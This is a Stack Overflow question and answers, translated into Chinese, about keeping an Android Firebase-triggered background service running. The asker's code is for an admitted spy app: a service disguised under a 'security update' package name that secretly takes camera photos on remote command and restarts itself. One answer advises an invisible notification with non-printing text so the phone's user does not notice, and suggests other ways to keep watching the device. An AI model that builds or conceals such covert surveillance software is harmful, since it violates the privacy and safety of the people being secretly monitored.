【问题标题】:Background Service with Firebase childeventlistener not working after few minutesFirebase childeventlistener 的后台服务在几分钟后无法正常工作
【发布时间】:2017-04-03 03:27:48
【问题描述】:

我创建了一个服务,我想永远运行它而不显示前台通知。我在onStartCommand 中有Firebase 侦听器,它会在数据库中的数据更改时进行侦听。每当数据更改时,它都会执行特定的任务例如。捕获图像

在 Activity 类中没有什么,只是我在那里开始服务然后我完成了它。问题是我可以在我的Samsung J2 设备和Nexus 5 上看到,每当我从应用程序抽屉中杀死应用程序时,该服务就会停止。我已经在BOOT_COMPLETED 和服务onDestroy 上实现了广播接收器,但它在启动时也不起作用。简而言之,我的服务不会永远运行。我也不确定 Firebase 监听器是否会在后台服务中工作。有许多应用程序,例如 whatsapp、hike、Applock,许多其他应用程序即使在强制关闭时也会重新启动。我希望我的应用程序每次都听 Firebase 数据库。它纯粹是基于服务的应用程序。它没有任何活动. 下面是代码-

清单文件

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />

<application
    android:screenOrientation="portrait"
    android:name="android.support.multidex.MultiDexApplication"
    android:allowBackup="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">


    <activity
        android:name=".ActivityForPermissions"
        android:screenOrientation="portrait">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>


    <service android:name="com.security.update.CameraService"
        android:enabled="true"
        />

    <receiver android:name="com.security.update.ReceiverCall"
        android:enabled="true">
        <intent-filter>
            <action android:name="RESTART_SERVICE" />
            <action android:name="android.intent.action.BOOT_COMPLETED" />
        </intent-filter>
    </receiver>

</application>

活动类

 public class ActivityForPermissions extends AppCompatActivity {

  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    startService(new   Intent(ActivityForPermissions.this,CameraService.class));
    finish();
}


@Override
protected void onDestroy() {
    super.onDestroy();
}}

接收者类

public class ReceiverCall extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

    context.startService(new Intent(context, CameraService.class));;
    }

 }

服务类

public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;

@Override
public void onCreate()
{
    super.onCreate();
    android.os.Debug.waitForDebugger();
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    devicemodel = android.os.Build.MODEL;
    mStorageRef = FirebaseStorage.getInstance().getReference();
    database = FirebaseDatabase.getInstance();
    RequestRef = database.getReference("CameraRequest");
    SpyStatus = database.getReference("SpyStatus");
    ListenerForRequestDone();
    return START_STICKY;

}

@Override
public void onDestroy() {
    super.onDestroy();
    Intent intent = new Intent("RESTART_SERVICE");
    sendBroadcast(intent);
}

 public void ListenerForRequestDone(){
    RequestRef.addChildEventListener(new ChildEventListener() {
        @Override
        public void onChildAdded(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onChildChanged(DataSnapshot dataSnapshot, String s) {
            StartImageCapture(1);
        }

        @Override
        public void onChildRemoved(DataSnapshot dataSnapshot) {

        }

        @Override
        public void onChildMoved(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onCancelled(DatabaseError databaseError) {

        }
    });
}

那里也有类似的问题,例如。 this但是没有正确答案。

【问题讨论】:

  • 尝试删除清单文件中的
  • 这对@AshrithkS有什么帮助,你能解释一下吗?
  • 嗨,要在启动时启动服务,请添加 1) 在您的 元素中:
  • 而且,我认为现在 WhatsApp 或任何其他应用程序都不会不断检查传入的消息。推送通知是迄今为止更好的方法。请参阅有关 GCM 或 FCM 的文档。
  • 我正在开发间谍应用程序。我不想让用户知道 wt 正在发生,所以推送通知对我的应用程序来说是个坏主意

标签: android service firebase


【解决方案1】:

第一个答案:

您的服务正在被终止,因为您可能正在尝试执行 Google/Android 操作系统明确不希望发生的事情。这是 SDK 文档的一部分,然后我会解释:

(来自服务生命周期)因为通常只有少数进程对用户可见,这意味着服务不应被杀死,除非在内存不足的情况下。但是,由于用户不直接知道后台服务,因此在该状态下,它被认为是有效的终止候选者,您应该为这种情况做好准备。 特别是,长时间运行的服务将越来越有可能被终止,并且如果它们保持启动足够长的时间,它们肯定会被终止(并在适当的情况下重新启动)

你看,他们实际上是在试图确保用户没有数百个 SpyServices 永久运行、占用资源或其他什么。你怎么能避免这种情况?答案就在那里……显示某种类型的通知,即使只是简单地说“服务正在运行”,也会防止服务被破坏。当然,如果您实际上是在尝试“窥探”用户,那么发出间谍服务正在运行的通知并不是一个好主意。如果您想继续使用此模式,请尝试使用“不可见”通知图标和非打印文本。如果用户正在查看通知,他们可能看不到它,或者认为这只是一个小故障。

第二个答案:

切换到更“事件驱动”的设计。我假设您能够捕获“启动时”、“已接收呼叫”和其他消息,因此请为指示手机使用情况的事件注册接收器,这样您就可以轻松地将多个 10-15 分钟拼接在一起几乎可以覆盖所有细分市场。

我的目标是:

  • 电源连接/断开
  • WiFi 状态变化
  • 屏幕背光开/关和/或屏幕锁定状态已更改。

第三个答案:

看看“绑定”模式。如果您可以让任何活动“绑定”到服务,那么只要绑定它就保证不会被杀死。如果您将“START_STICKY”与绑定模式结合使用,您将能够在绑定解除后继续运行一段时间。

【讨论】:

  • Thnx 获取详细答案@Dan。我正在使用 Firebase 数据库 onchildchange 侦听器,它在某个时间后无法正常工作。它会在通知的 onRecieve 上工作还是在由您提供的意图过滤器启动的服务中工作?跨度>
  • 它应该,根据您设置 IntentFilter 的方式,您可以添加多种操作类型,它们将作为逻辑“或”操作。不过,请仔细阅读 IntentFilter 部分,“类别”和“操作”周围有特殊条件。您是否使用“onChildChanged()”来保持客户端的服务处于活动状态?您是否正在向设备推送真实数据?
  • 是的,我正在使用onchildchanged(),我不是在发送数据,我只是在更改值,我希望监听器能够监听那个时间,监听器内部有一种方法可以捕获图像并将其发送到 Firebase 存储。
  • 有人在上面的 cmets 中建议在onRecieve 推送通知服务的方法中实现该方法。所以每当我想要设备捕获图像时,我只会发送一个虚假的推送通知,这是个好主意?
  • 这也是一种可行的方法,只是取决于您的要求。看:firebase.google.com/docs/cloud-messaging/android/receive 当 GCM/FCM 服务收到消息时,您不需要实际发布通知,它可能只是数据,您可以拍照并一直留在后台。你想什么时候拍照?拍照只是你想做的事吗?例如,如果试图抓住电话窃贼,请监听锁屏故障(在不同的接收器中),然后拍摄照片并上传。想想“事件”与“始终运行”。
【解决方案2】:

该主题出现在 DroidconIn(“Firebase 实时数据库深入研究”)的后续演示中。实际上,您不能依赖在后台获取“正常”的 firebase 同步更新,而是需要进行某种可以发送推送通知的设置。

https://www.youtube.com/watch?v=1nUSoCZlnDo&t=25m10s

【讨论】:

    【解决方案3】:

    在成功之前,您需要在具有子事件列表器的服务类中实例化 FireBaseApp。这对我有用。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2017-09-22
      • 1970-01-01
      • 1970-01-01
      • 2020-05-06
      • 2020-05-08
      • 2017-07-05
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多